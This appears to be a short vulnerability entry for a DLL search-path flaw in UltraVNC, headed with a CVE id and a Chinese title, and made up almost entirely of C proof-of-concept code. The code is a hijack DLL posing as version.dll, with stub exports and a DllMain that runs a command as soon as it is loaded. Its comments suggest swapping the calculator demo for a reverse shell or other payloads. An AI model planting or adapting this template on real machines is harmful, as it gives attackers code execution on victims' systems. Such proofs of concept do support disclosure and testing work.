CVE-2026-4962 UltraVNC未控制搜索路径漏洞

#include <windows.h> #include <stdlib.h> // Entry point for the malicious DLL BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute when the DLL is loaded by the vulnerable process // Example: Spawning a calculator or reverse shell system("calc.exe"); // Or use WinExec, CreateProcess, etc. for more complex payloads break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Exported functions to match the target DLL (version.dll) if necessary // This might depend on the actual dependencies of the target application extern "C" __declspec(dllexport) void GetFileVersionInfoA() {} extern "C" __declspec(dllexport) void GetFileVersionInfoSizeA() {}